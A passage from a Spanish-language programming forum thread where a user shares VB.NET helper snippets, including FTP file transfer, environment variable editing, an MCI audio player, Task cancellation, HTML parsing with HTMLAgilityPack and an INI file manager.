FtpListOption.AllFiles) As FtpListItem()
Return conn.GetListing(directorypath, FtpListOption).
Where(Function(item) item.Type = FtpFileSystemObjectType.Directory)
End Function
''' <summary>
''' Gets a file list on the specified path.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
Public Function GetFiles(ByVal directorypath As String,
Optional ByVal FtpListOption As FtpListOption =
FtpListOption.AllFiles) As FtpListItem()
Return conn.GetListing(directorypath, FtpListOption).
Where(Function(item) item.Type = FtpFileSystemObjectType.File)
End Function
''' <summary>
''' Gets a link list on the specified path.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
Public Function GetLinks(ByVal directorypath As String,
Optional ByVal FtpListOption As FtpListOption =
FtpListOption.AllFiles) As FtpListItem()
Return conn.GetListing(directorypath, FtpListOption).
Where(Function(item) item.Type = FtpFileSystemObjectType.Link)
End Function
''' <summary>
''' Gets a file/folder list on the specified path.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
Public Function GetListing(ByVal directorypath As String,
Optional ByVal FtpListOption As FtpListOption =
FtpListOption.AllFiles) As FtpListItem()
Return conn.GetListing(directorypath, FtpListOption)
End Function
''' <summary>
''' Log to a console window
''' </summary>
Public Sub LogToConsole()
FtpTrace.AddListener(New ConsoleTraceListener())
' now use System.Net.FtpCLient as usual and the server transactions
' will be written to the Console window.
End Sub
''' <summary>
''' Log to a text file
''' </summary>
''' <param name="filepath">Indicates the file where to save the log.</param>
Public Sub LogToFile(ByVal filepath As String)
FtpTrace.AddListener(New TextWriterTraceListener(filepath))
' now use System.Net.FtpCLient as usual and the server transactions
' will be written to the specified log file.
End Sub
''' <summary>
''' Uploads a file from FTP.
''' </summary>
''' <param name="UploadClient">Indicates the WebClient object to upload the file.</param>
''' <param name="filepath">Indicates the ftp fle path.</param>
''' <param name="localfilepath">Specifies the local path where to save the downloaded file.</param>
''' <param name="Asynchronous">Indicates whether the download should be an Asynchronous operation,
''' to raise WebClient events.</param>
Public Sub UploadFile(ByRef UploadClient As WebClient,
ByVal localfilepath As String,
Optional ByVal filepath As String = Nothing,
Optional ByVal Asynchronous As Boolean = False)
If filepath Is Nothing Then
filepath = Me.host & "/" & New IO.FileInfo(localfilepath).Name
ElseIf filepath.StartsWith("/") Then
filepath = Me.host & filepath
Else
filepath = Me.host & "/" & filepath
End If
With UploadClient
.Credentials = New NetworkCredential(Me.user, Me.pass)
If Asynchronous Then
.UploadFileAsync(New Uri(filepath), "STOR", localfilepath)
Else
.UploadFile(New Uri(filepath), "STOR", localfilepath)
End If
End With
End Sub
''' <summary>
''' Downloads a file from FTP.
''' </summary>
''' <param name="DownloadClient">Indicates the WebClient object to download the file.</param>
''' <param name="filepath">Indicates the ftp fle path.</param>
''' <param name="localfilepath">Specifies the local path where to save the downloaded file.</param>
''' <param name="Asynchronous">Indicates whether the download should be an Asynchronous operation,
''' to raise WebClient events.</param>
Public Sub DownloadFile(ByRef DownloadClient As WebClient,
ByVal filepath As String,
ByVal localfilepath As String,
Optional ByVal Asynchronous As Boolean = False)
If filepath.StartsWith("/") Then
filepath = Me.host & filepath
Else
filepath = Me.host & "/" & filepath
End If
MsgBox(filepath)
With DownloadClient
.Credentials = New NetworkCredential(Me.user, Me.pass)
If Asynchronous Then
.DownloadFileAsync(New Uri(filepath), localfilepath)
Else
.DownloadFile(New Uri(filepath), localfilepath)
End If
End With
End Sub
#End Region
#Region " Miscellaneous methods "
Private Shared Function InlineAssignHelper(Of T)(ByRef target As T, value As T) As T
target = value
Return value
End Function
#End Region
End Class
#End Region
Un ayudante para agregar y/o eliminar variables de entorno en el sistema.
#Region " Environment Variables Helper "
' [ Environment Variables Helper ]
'
' // By Elektro H@cker
'
' Examples:
' EnvironmentVariables.Add("DirFiles", "Dir /B ""*.*""", EnvironmentVariables.EnvironmentKind.CurrentUser)
' EnvironmentVariables.Remove("DirFiles", EnvironmentVariables.EnvironmentKind.CurrentUser)
Public Class EnvironmentVariables
#Region " API, Constants, Enums"
''' <summary>
''' User Environment Subkey.
''' </summary>
Private Shared ReadOnly UserEnvironmentKey As String = "Environment\"
''' <summary>
''' System Environment Subkey.
''' </summary>
Private Shared ReadOnly SystemEnvironmentKey As String = "SYSTEM\CurrentControlSet\Control\Session Manager\Environment\"
''' <summary>
''' Sends the specified message to one or more windows.
''' </summary>
<System.Runtime.InteropServices.
DllImport("user32.dll", SetLastError:=True)> _
Public Shared Function SendMessageTimeout(
ByVal windowHandle As IntPtr,
ByVal Msg As Integer,
ByVal wParam As IntPtr,
ByVal lParam As String,
ByVal flags As SendMessageTimeoutFlags,
ByVal timeout As Integer,
ByRef result As IntPtr
) As IntPtr
End Function
''' <summary>
''' Kind of environment.
''' </summary>
Public Enum EnvironmentKind As Short
''' <summary>
''' Indicates that the environment variable
''' should only be accesible for the current user.
''' </summary>
CurrentUser = 0
''' <summary>
''' Indicates that the environment variable
''' should be accesible for all users.
''' </summary>
System = 1
End Enum
''' <summary>
''' Sends the specified message to one or more windows.
''' </summary>
<Flags()> _
Public Enum SendMessageTimeoutFlags As Integer
''' <summary>
''' The calling thread is not prevented from processing
''' other requests while waiting for the function to return.
''' </summary>
SMTO_NORMAL = &H0
''' <summary>
''' Prevents the calling thread from processing any other requests until the function returns.
''' </summary>
SMTO_BLOCK = &H1
''' <summary>
''' The function returns without waiting for the time-out period
''' to elapse if the receiving thread appears to not respond or "hangs."
''' </summary>
SMTO_ABORTIFHUNG = &H2
''' <summary>
''' The function does not enforce the time-out period
''' as long as the receiving thread is processing messages.
''' </summary>
SMTO_NOTIMEOUTIFNOTHUNG = &H8
''' <summary>
''' The function should return 0 if the receiving window is destroyed
''' or its owning thread dies while the message is being processed.
''' </summary>
SMTO_ERRORONEXIT = &H20
End Enum
''' <summary>
''' A message that is sent to all top-level windows when
''' the SystemParametersInfo function changes a system-wide setting or when policy settings have changed.
''' <remarks>
''' Applications should send WM_SETTINGCHANGE to all top-level windows when they make changes to system parameters
''' (This message cannot be sent directly to a window.)
''' To send the WM_SETTINGCHANGE message to all top-level windows,
''' use the SendMessageTimeout function with the hwnd parameter set to HWND_BROADCAST.
''' </remarks>
''' </summary>
Private Const WM_SETTINGCHANGE = &H1A
''' <summary>
''' the message is sent to all top-level windows in the system,
''' including disabled or invisible unowned windows.
''' The function does not return until each window has timed out.
''' Therefore, the total wait time can be up to the value of uTimeout multiplied by the number of top-level windows.
''' </summary>
Public Const HWND_BROADCAST = &HFFFF&
#End Region
#Region " Public methods "
''' <summary>
''' Sets an environment variable.
''' <remarks>If a variable already exists, will be replaced.</remarks>
''' </summary>
''' <param name="VariableName">Indicates the variable name.</param>
''' <param name="Value">Indicates the variable value.</param>
''' <param name="EnvironmentKind">Indicates the kind of environment where the variable should be added.</param>
Public Shared Sub Add(ByVal VariableName As String,
ByVal Value As String,
ByVal EnvironmentKind As EnvironmentKind)
Select Case EnvironmentKind
Case EnvironmentKind.CurrentUser
My.Computer.Registry.CurrentUser.
OpenSubKey(UserEnvironmentKey, True).
SetValue(VariableName, Value)
Case EnvironmentKind.System
My.Computer.Registry.LocalMachine.
OpenSubKey(SystemEnvironmentKey, True).
SetValue(VariableName, Value)
End Select
UpdateRegChange()
End Sub
''' <summary>
''' Sets an environment variable.
''' </summary>
''' <param name="VariableName">Indicates the variable name.</param>
''' <param name="EnvironmentKind">Indicates the kind of environment from where the variable should be removed.</param>
Public Shared Sub Remove(ByVal VariableName As String,
ByVal EnvironmentKind As EnvironmentKind)
Select Case EnvironmentKind
Case EnvironmentKind.CurrentUser
My.Computer.Registry.CurrentUser.
OpenSubKey(UserEnvironmentKey, True).
DeleteValue(VariableName, True)
Case EnvironmentKind.System
My.Computer.Registry.LocalMachine.
OpenSubKey(SystemEnvironmentKey, True).
DeleteValue(VariableName, True)
End Select
UpdateRegChange()
End Sub
#End Region
#Region " Private methods "
Private Shared Sub UpdateRegChange()
' Update Registry Change
SendMessageTimeout(HWND_BROADCAST,
WM_SETTINGCHANGE,
0,
"Environment",
SendMessageTimeoutFlags.SMTO_ABORTIFHUNG,
1,
IntPtr.Zero)
End Sub
#End Region
End Class
#End Region
Un ejemplo de uso de la librería FrameworkDetection http://www.codeproject.com/Articles/17501/Using-managed-code-to-detect-what-NET-Framework-ve?msg=4706288#xx4706288xx
(http://img855.imageshack.us/img855/7407/gi6x.png)
Public Class Form1
Private Sub Test()
Dim sb As New System.Text.StringBuilder
For Each FW In [Enum].GetValues(GetType(Campari.Software.FrameworkVersion))
sb.AppendLine(String.Format("FW {0} Is installed?: {1}",
FW.ToString.Substring(2),
Campari.Software.FrameworkVersionDetection.IsInstalled(FW)))
sb.AppendLine(String.Format("FW {0} version: {1}",
FW.ToString.Substring(2),
Campari.Software.FrameworkVersionDetection.GetExactVersion(FW).ToString))
sb.Append(Environment.NewLine)
Next
MsgBox(sb.ToString)
End Sub
End Class
Actualizada la colección de snippets con un total de 544 Snippets...
...Casi nada!!
http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)
En la primera página de este hilo tienen un índice de todos los snippets que contiene el pack.
PD: Algunos de los antiguos snippets (no todos) han sido mejorados y/o simplificados.
Saludos!
Un ayudante para la interface MCI, reproduce archivos wav,mp3,midi y obtiene información esencial del archivo.
La class es algo básica, solo le añadí lo esencial porque me dió bastantes problemas la verdad.
' [ MCI Player ]
'
' // By Elektro H@cker
#Region " Usage Examples "
' Dim AudioFile As New MCIPlayer("C:\Audio.wav")
' AudioFile.Play(AudioPlayMode.BackgroundLoop)
' Dim sb As New System.Text.StringBuilder
' sb.AppendLine("Filename: " & AudioFile.Filename)
' sb.AppendLine("State...: " & AudioFile.State.ToString)
' sb.AppendLine("Mode....: " & AudioFile.PlaybackMode.ToString)
' sb.AppendLine("Channels: " & CStr(AudioFile.Channels))
' sb.AppendLine("Duration: " & TimeSpan.FromMilliseconds(AudioFile.Duration).ToString("hh\:mm\:ss"))
' MessageBox.Show(sb.ToString, "MCI Player", MessageBoxButtons.OK, MessageBoxIcon.Information)
' AudioFile.Stop()
#End Region
#Region " MCI Player "
''' <summary>
''' Play Wave, MP3 or MIDI files
''' </summary>
Public Class MCIPlayer
Inherits NativeWindow
Implements IDisposable
#Region " API "
''' <summary>
''' Sends a command string to an MCI device.
''' The device that the command is sent to is specified in the command string.
''' </summary>
''' <param name="command">
''' Pointer to a null-terminated string that specifies an MCI command string.
''' For a list, see Multimedia Command Strings.
''' </param>
''' <param name="buffer">
''' Buffer that receives return information.
''' If no return information is needed, this parameter can be NULL.
''' </param>
''' <param name="bufferSize">
''' Size, in characters, of the return buffer specified.
''' </param>
''' <param name="hwndCallback">
''' Handle to a callback window if the "notify" flag was specified in the command string.
''' </param>
<System.Runtime.InteropServices.
DllImport("winmm.dll", SetLastError:=True)>
Private Shared Function mciSendString(
ByVal command As String,
ByVal buffer As System.Text.StringBuilder,
ByVal bufferSize As Integer,
ByVal hwndCallback As IntPtr
) As Integer
End Function
#End Region
#Region " Variables "
''' <summary>
''' The form to manage Windows Messages.
''' </summary>
Private WithEvents formulary As Form = Nothing
''' <summary>
''' Indicates the audio play command of mciSendString.
''' </summary>
Private PlayCommand As String = String.Empty
''' <summary>
''' Buffer that receives return information.
''' </summary>
Private ReturnInfo As New System.Text.StringBuilder() With {.Capacity = 255}
''' <summary>
''' The current filename of the file that is to be played.
''' </summary>
Private _filename As String = String.Empty
''' <summary>
''' Indicates the current playback mode.
''' </summary>
Private _PlaybackMode As AudioPlayMode
''' <summary>
''' Flag to cancel the BackgroundLoop PlaybackMode.
''' </summary>
Private CancelLoop As Boolean = False
#End Region
#Region " Properties "
''' <summary>
''' The current filename of the file that is to be played.
''' </summary>
Public Property Filename() As String
Get
Return _filename
End Get
Set(ByVal value As String)
If Not IO.File.Exists(value) Then
Throw New IO.FileNotFoundException
Exit Property
End If
_filename = value
End Set
End Property
''' <summary>
''' Gets che current Playback State.
''' </summary>
Public ReadOnly Property State As PlaybackState
Get
mciSendString("status file mode", ReturnInfo, ReturnInfo.Capacity, IntPtr.Zero)
Return [Enum].Parse(GetType(PlaybackState), ReturnInfo.ToString, True)
End Get
End Property
''' <summary>
''' Gets or sets the playback mode of the current file.
''' </summary>
Public Property PlaybackMode As AudioPlayMode
Get
Return _PlaybackMode
End Get
Set(value As AudioPlayMode)
_PlaybackMode = value
End Set
End Property
''' <summary>
''' Gets the channels of the file.
''' </summary>
ReadOnly Property Channels() As Integer
Get
mciSendString("status file channels", ReturnInfo, ReturnInfo.Capacity, IntPtr.Zero)
Return If(IsNumeric(ReturnInfo.ToString),
CInt(ReturnInfo.ToString),
-1)
End Get
End Property
''' <summary>
''' Gets the file duration in Milleseconds.
''' </summary>
ReadOnly Property Duration() As Integer
Get
mciSendString("set file time format milliseconds", Nothing, 0, IntPtr.Zero)
mciSendString("status file length", ReturnInfo, ReturnInfo.Capacity, IntPtr.Zero)
Return If(String.IsNullOrEmpty(ReturnInfo.ToString), 0, CInt(ReturnInfo.ToString))
End Get
End Property
#End Region
#Region " Enumerations "
''' <summary>
''' Audio File playback state.
''' </summary>
Public Enum PlaybackState As Short
''' <summary>
''' File is playing.
''' </summary>
Playing = 0
''' <summary>
''' File is paused.
''' </summary>
Paused = 1
''' <summary>
''' File is stopped.
''' </summary>
Stopped = 2
End Enum
''' <summary>
''' Windows Message Identifiers.
''' </summary>
Public Enum KnownMessages As Integer
''' <summary>
''' Notifies an application that an MCI device has completed an operation.
''' MCI devices send this message only when the MCI_NOTIFY flag is used.
''' </summary>
MM_MCINOTIFY = 953
End Enum
#End Region
#Region " Constructor "
''' <summary>
''' Play Wave, MP3 or MIDI files.
''' </summary>
''' <param name="AudioFile">Indicates the filename of the media to play.</param>
Public Sub New(ByVal AudioFile As String)
' Set the Audio file.
Me.Filename = AudioFile
' Set the Formulary.
Me.formulary = Form.ActiveForm
' Assign the form handle.
SetFormHandle()
End Sub
''' <summary>
''' Play Wave, MP3 or MIDI files.
''' </summary>
''' <param name="Formulary">Indicates the Form to assign the Handle.</param>
''' <param name="AudioFile">Indicates the filename of the media to play.</param>
''' <remarks></remarks>
Public Sub New(ByVal Formulary As Form, ByVal AudioFile As String)
' Set the Audio file.
Me.Filename = AudioFile
' Set the Formulary.
Me.formulary = Formulary
' Assign the form handle.
SetFormHandle()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Plays the file that is specified as the filename.
''' </summary>
''' <remarks></remarks>
Public Sub Play(ByVal PlayMode As AudioPlayMode)
DisposedCheck()
Select Case PlayMode
Case AudioPlayMode.Background
PlayCommand = "play file from 0"
Me.PlaybackMode = AudioPlayMode.Background
Case AudioPlayMode.BackgroundLoop
PlayCommand = "play file from 0 notify"
Me.PlaybackMode = AudioPlayMode.BackgroundLoop
Case AudioPlayMode.WaitToComplete
PlayCommand = "play file from 0 wait"
Me.PlaybackMode = AudioPlayMode.WaitToComplete
End Select
' Open command
Select Case Me.Filename.Split(".").LastOrDefault
Case "mp3"
mciSendString(String.Format("open ""{0}"" type mpegvideo alias file", Me.Filename),
Nothing,
0,
IntPtr.Zero)
Case "wav"
mciSendString(String.Format("open ""{0}"" type waveaudio alias file", Me.Filename),
Nothing,
0,
IntPtr.Zero)
Case "mid", "midi"
mciSendString("stop midi", Nothing, 0, 0)
mciSendString("close midi", Nothing, 0, 0)
mciSendString(String.Format("open sequencer! ""{0}"" alias file", Me.Filename),
Nothing,
0, IntPtr.Zero)
Case Else
Throw New Exception("File type not supported.")
[Close]()
End Select
' Play command
mciSendString(PlayCommand, Nothing, 0, If(PlaybackMode = AudioPlayMode.BackgroundLoop,
Me.Handle,
IntPtr.Zero))
End Sub
''' <summary>
''' Pause the current playback.
''' </summary>
''' <remarks></remarks>
Public Sub Pause()
DisposedCheck()
CancelLoop = True
mciSendString("pause file", Nothing, 0, IntPtr.Zero)
End Sub
''' <summary>
''' Resume the current playback if it is currently paused.
''' </summary>
Public Sub [Resume]()
DisposedCheck()
If Me.State = PlaybackState.Paused Then
CancelLoop = False
mciSendString("resume file", Nothing, 0, IntPtr.Zero)
End If
End Sub
''' <summary>
''' Stop the current playback.
''' </summary>
Public Sub [Stop]()
DisposedCheck()
CancelLoop = True
mciSendString("stop file", Nothing, 0, IntPtr.Zero)
End Sub
''' <summary>
''' Close the current file.
''' </summary>
Public Overloads Sub [Close]()
DisposedCheck()
CancelLoop = True
mciSendString("close file", Nothing, 0, IntPtr.Zero)
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Assign the handle of the target form to this NativeWindow,
''' necessary to override WndProc.
''' </summary>
Private Sub SetFormHandle() _
Handles formulary.HandleCreated, formulary.Load, formulary.Shown
Try
If Not Me.Handle.Equals(Me.formulary.Handle) Then
Me.AssignHandle(Me.formulary.Handle)
End If
Catch ' ex As InvalidOperationException
End Try
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() _
Handles formulary.HandleDestroyed
Me.ReleaseHandle()
End Sub
#End Region
#Region " Windows Messages "
''' <summary>
''' Processes Windows messages for this Window.
''' </summary>
''' <param name="m">
''' Contains the Windows Message parameters.
''' </param>
Protected Overrides Sub WndProc(ByRef m As Message)
MyBase.WndProc(m)
If m.Msg = KnownMessages.MM_MCINOTIFY Then
If Not CancelLoop Then
Play(AudioPlayMode.BackgroundLoop)
Else
CancelLoop = False
End If
End If
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevents calls to methods after disposing.
''' </summary>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
' IDisposable
Protected Overridable Sub Dispose(IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
[Close]()
Me.formulary = Nothing
Me.ReleaseHandle()
Me.DestroyHandle()
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Un pequeño ejemplo que hice para recordar el uso de una Task:
#Region " TASK Example "
Public Class Form1
' NORMAL TASK USAGE:
' ------------------
Private Task1 As Threading.Tasks.Task
Private Task1CTS As New Threading.CancellationTokenSource
Private Task1CT As Threading.CancellationToken = Task1CTS.Token
Private Sub MyTask1(ByVal CancellationToken As Threading.CancellationToken)
For x As Integer = 0 To 9999
If Not CancellationToken.IsCancellationRequested Then
Debug.Print("Task1: " & x)
Else
MsgBox(String.Format("Task1 Canceled at ""{0}""", x))
Exit Sub
End If
Next x
End Sub
' ANONYMOUS TASK METHOD:
' ---------------------
Private Task2 As Threading.Tasks.Task
Private Task2CTS As New Threading.CancellationTokenSource
Private Task2CT As Threading.CancellationToken = Task2CTS.Token
Private Delegate Function Task2Delegate(ByVal CancellationToken As Threading.CancellationToken)
Private MyTask2 As Task2Delegate =
Function(CancellationToken As Threading.CancellationToken) As Boolean
For x As Integer = 0 To 9999
If Not CancellationToken.IsCancellationRequested Then
Debug.Print("Task2: " & x)
Else
MsgBox(String.Format("Task2 Canceled at ""{0}""", x))
Return False
End If
Next x
Return True
End Function
Private Sub TaskTest() Handles MyBase.Shown
' Run an asynchronous Task.
Task1 = Threading.Tasks.Task.Factory.StartNew(Sub() MyTask1(Task1CT), Task1CT)
' Wait 2 seconds (Just to demonstrate this example)
Threading.Thread.Sleep(2 * 1000)
' Cancel the Task.
Task1CTS.Cancel()
' Wait for the Task to finish the being cancelled.
Task1.Wait()
' Show the task status
MsgBox(Task1.Status.ToString) ' Result: RanToCompletion
' ReStart the Task1.
Task1 = Threading.Tasks.Task.Factory.StartNew(Sub() MyTask1(Task1CT), Task1CT)
' Start the Task2
Task2 = Threading.Tasks.Task.Factory.StartNew(Of Boolean)(Function() MyTask2(Task2CT), Task2CT)
' Wait for both Taks to finish their execution.
Threading.Tasks.Task.WaitAll()
End Sub
End Class
#End Region
Un buen ejemplo de como parsear un documento HTML utilizando la librería HTMLAgilityPack.
Public Class Form1
Private ReadOnly html As String =
<a><![CDATA[
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<body>
<div class="infolinks"><input type="hidden" name="IL_IN_TAG" value="1"/></div><div id="main">
<div class="music">
<h2 class="boxtitle">New releases \ <small>
<a href="/newalbums" title="New releases mp3 downloads" rel="bookmark">see all</a></small>
</h2>
<div class="item">
<div class="thumb">
<a href="http://www.mp3crank.com/curt-smith/deceptively-heavy-121861" rel="bookmark" lang="en" title="Curt Smith - Deceptively Heavy album downloads"><img width="100" height="100" alt="Mp3 downloads Curt Smith - Deceptively Heavy" title="Free mp3 downloads Curt Smith - Deceptively Heavy" src="http://www.mp3crank.com/cover-album/Curt-Smith-Deceptively-Heavy-400x400.jpg"/></a>
</div>
<div class="release">
<h3>Curt Smith</h3>
<h4>
<a href="http://www.mp3crank.com/curt-smith/deceptively-heavy-121861" title="Mp3 downloads Curt Smith - Deceptively Heavy">Deceptively Heavy</a>
</h4>
<script src="/ads/button.js"></script>
</div>
<div class="release-year">
<p>Year</p>
<span>2013</span>
</div>
<div class="genre">
<p>Genre</p>
<a href="http://www.mp3crank.com/genre/indie" rel="tag">Indie</a><a href="http://www.mp3crank.com/genre/pop" rel="tag">Pop</a>
</div>
</div>
<div class="item">
<div class="thumb">
<a href="http://www.mp3crank.com/wolf-eyes/lower-demos-121866" rel="bookmark" lang="en" title="Wolf Eyes - Lower Demos album downloads"><img width="100" height="100" alt="Mp3 downloads Wolf Eyes - Lower Demos" title="Free mp3 downloads Wolf Eyes - Lower Demos" src="http://www.mp3crank.com/cover-album/Wolf-Eyes-–-Lower-Demos.jpg" /></a>
</div>
<div class="release">
<h3>Wolf Eyes</h3>
<h4>
<a href="http://www.mp3crank.com/wolf-eyes/lower-demos-121866" title="Mp3 downloads Wolf Eyes - Lower Demos">Lower Demos</a>
</h4>
<script src="/ads/button.js"></script>
</div>
<div class="release-year">
<p>Year</p>
<span>2013</span>
</div>
<div class="genre">
<p>Genre</p>
<a href="http://www.mp3crank.com/genre/rock" rel="tag">Rock</a>
</div>
</div>
</div>
</div>
</body>
</html>
]]></a>.Value
Private sb As New System.Text.StringBuilder
Private htmldoc As HtmlAgilityPack.HtmlDocument = New HtmlAgilityPack.HtmlDocument
Private htmlnodes As HtmlAgilityPack.HtmlNodeCollection = Nothing
Private Title As String = String.Empty
Private Cover As String = String.Empty
Private Year As String = String.Empty
Private Genres As String() = {String.Empty}
Private URL As String = String.Empty
Private Sub Test() Handles MyBase.Shown
' Load the html document.
htmldoc.LoadHtml(html)
' Select the (10 items) nodes.
' All "SelectSingleNode" below will use this DIV element as a starting point.
htmlnodes = htmldoc.DocumentNode.SelectNodes("//div[@class='item']")
' Loop trough the nodes.
For Each node As HtmlAgilityPack.HtmlNode In htmlnodes
Title = node.SelectSingleNode(".//div[@class='release']/h4/a[@title]").GetAttributeValue("title", "Unknown Title")
Cover = node.SelectSingleNode(".//div[@class='thumb']/a/img[@src]").GetAttributeValue("src", String.Empty)
Year = node.SelectSingleNode(".//div[@class='release-year']/span").InnerText
Genres = (From n In node.SelectNodes(".//div[@class='genre']/a") Select n.InnerText).ToArray()
URL = node.SelectSingleNode(".//div[@class='release']/h4/a[@href]").GetAttributeValue("href", "Unknown URL")
' Display the information:
sb.Clear()
sb.AppendLine(String.Format("Title : {0}", Title))
sb.AppendLine(String.Format("Cover : {0}", Cover))
sb.AppendLine(String.Format("Year : {0}", Year))
sb.AppendLine(String.Format("Genres: {0}", String.Join(", ", Genres)))
sb.AppendLine(String.Format("URL : {0}", URL))
MsgBox(sb.ToString)
Next node
End Sub
End Class
Una nueva versión de mi INI manager, empecé desde cero para simplificar todo el código y le añadí un parámetro al método "Get_Value" para devolver un valor por defecto (se debe especificar) si el valor no se encuentra.
' [ INI File Manager ]
'
' // By Elektro H@cker
#Region " Usage Examples "
'' Set the initialization file path.
'INIFileManager.FilePath = IO.Path.Combine(Application.StartupPath, "Config.ini")
'' Create the initialization file.
'INIFileManager.File.Create()
'' Check that the initialization file exist.
'MsgBox(INIFileManager.File.Exist)
'' Writes a new entire initialization file with the specified text content.
'INIFileManager.File.Write(New List(Of String) From {"[Section Name 1]"})
'' Set an existing value or append it at the enf of the initialization file.
'INIFileManager.Key.Set("KeyName1", "Value1")
'' Set an existing value on a specific section or append them at the enf of the initialization file.
'INIFileManager.Key.Set("KeyName2", "Value2", "[Section Name 2]")
'' Gets the value of the specified Key name,
'MsgBox(INIFileManager.Key.Get("KeyName1"))
'' Gets the value of the specified Key name on the specified Section.
'MsgBox(INIFileManager.Key.Get("KeyName2", , "[Section Name 2]"))
'' Gets the value of the specified Key name and returns a default value if the key name is not found.
'MsgBox(INIFileManager.Key.Get("KeyName0", "I'm a default value"))
'' Gets the value of the specified Key name, and assign it to a control property.
'CheckBox1.Checked = CType(INIFileManager.Key.Get("KeyName1"), Boolean)
'' Checks whether a Key exists.
'MsgBox(INIFileManager.Key.Exist("KeyName1"))
'' Checks whether a Key exists on a specific section.
'MsgBox(INIFileManager.Key.Exist("KeyName2", "[First Section]"))
'' Remove a key name.
'INIFileManager.Key.Remove("KeyName1")
'' Remove a key name on the specified Section.
'INIFileManager.Key.Remove("KeyName2", "[Section Name 2]")
'' Add a new section.
'INIFileManager.Section.Add("[Section Name 3]")
'' Get the contents of a specific section.
'MsgBox(String.Join(Environment.NewLine, INIFileManager.Section.Get("[Section Name 1]")))
'' Remove an existing section.
'INIFileManager.Section.Remove("[Section Name 2]")
'' Checks that the initialization file contains at least one section.
'MsgBox(INIFileManager.Section.Has())
'' Sort the initialization file (And remove empty lines).
'INIFileManager.File.Sort(True)
'' Gets the initialization file section names.
'MsgBox(String.Join(", ", INIFileManager.Section.GetNames()))
'' Gets the initialization file content.
'MsgBox(String.Join(Environment.NewLine, INIFileManager.File.Get()))
'' Delete the initialization file from disk.
'INIFileManager.File.Delete()
#End Region
#Region " INI File Manager "
Public Class INIFileManager
#Region " Members "
#Region " Properties "
''' <summary>
''' Indicates the initialization file path.
''' </summary>
Public Shared Property FilePath As String =
IO.Path.Combine(Application.StartupPath, Process.GetCurrentProcess().ProcessName & ".ini")
#End Region
#Region " Variables "
''' <summary>
''' Stores the initialization file content.
''' </summary>
Private Shared Content As New List(Of String)
''' <summary>
''' Stores the INI section names.
''' </summary>
Private Shared SectionNames As String() = {String.Empty}
''' <summary>
''' Indicates the start element index of a section name.
''' </summary>
Private Shared SectionStartIndex As Integer = -1
''' <summary>
''' Indicates the end element index of a section name.
''' </summary>
Private Shared SectionEndIndex As Integer = -1
''' <summary>
''' Stores a single sorted section block with their keys and values.
''' </summary>
Private Shared SortedSection As New List(Of String)
''' <summary>
''' Stores all the sorted section blocks with their keys and values.
''' </summary>
Private Shared SortedSections As New List(Of String)
''' <summary>
''' Indicates the INI element index that contains the Key and value.
''' </summary>
Private Shared KeyIndex As Integer = -1
''' <summary>
''' Indicates the culture to compare the strings.
''' </summary>
Private Shared ReadOnly CompareMode As StringComparison = StringComparison.InvariantCultureIgnoreCase
#End Region
#Region " Exceptions "
''' <summary>
''' Exception is thrown when a section name parameter has invalid format.
''' </summary>
Private Class SectionNameInvalidFormatException
Inherits Exception
Public Sub New()
MyBase.New("Section name parameter has invalid format." &
Environment.NewLine &
"The rigth syntax is: [SectionName]")
End Sub
Public Sub New(message As String)
MyBase.New(message)
End Sub
Public Sub New(message As String, inner As Exception)
MyBase.New(message, inner)
End Sub
End Class
#End Region
#End Region
#Region " Methods "
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub Equals()
End Sub
Public Class [File]
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
<System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
Private Shadows Sub Equals()
End Sub
''' <summary>
''' Checks whether the initialization file exist.
''' </summary>
''' <returns>True if initialization file exist, otherwise False.</returns>
Public Shared Function Exist() As Boolean
Return IO.File.Exists(FilePath)
End Function
''' <summary>
''' Creates the initialization file.
''' If the file already exist it would be replaced.
''' </summary>
''' <param name="Encoding">The Text encoding to write the initialization file.</param>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Create(Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
Try
IO.File.WriteAllText(FilePath,
String.Empty,
If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
Catch ex As Exception
Throw
Return False
End Try
Return True
End Function
''' <summary>
''' Deletes the initialization file.
''' </summary>
''' <returns>True if the operation success, otherwise False.</returns>
Public Shared Function Delete() As Boolean
If Not [File].Exist Then Return False
Try
IO.File.Delete(FilePath)
Catch ex As Exception
Throw
Return False
End Try
Content = Nothing
Return True
End Function
''' <summary>
''' Returns the initialization file content.
''' </summary>
''' <param name="Encoding">The Text encoding to read the initialization file.</param>
Public Shared Function [Get](Optional ByVal Encoding As System.Text.Encoding = Nothing) As List(Of String)
Content = IO.File.ReadAllLines(FilePath,
If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding)).ToList()
Return Content
End Function
''' <summary>
''' Sort the initialization file content by the Key names.
''' If the initialization file contains sections then the sections are sorted by their names also.
''' </summary>
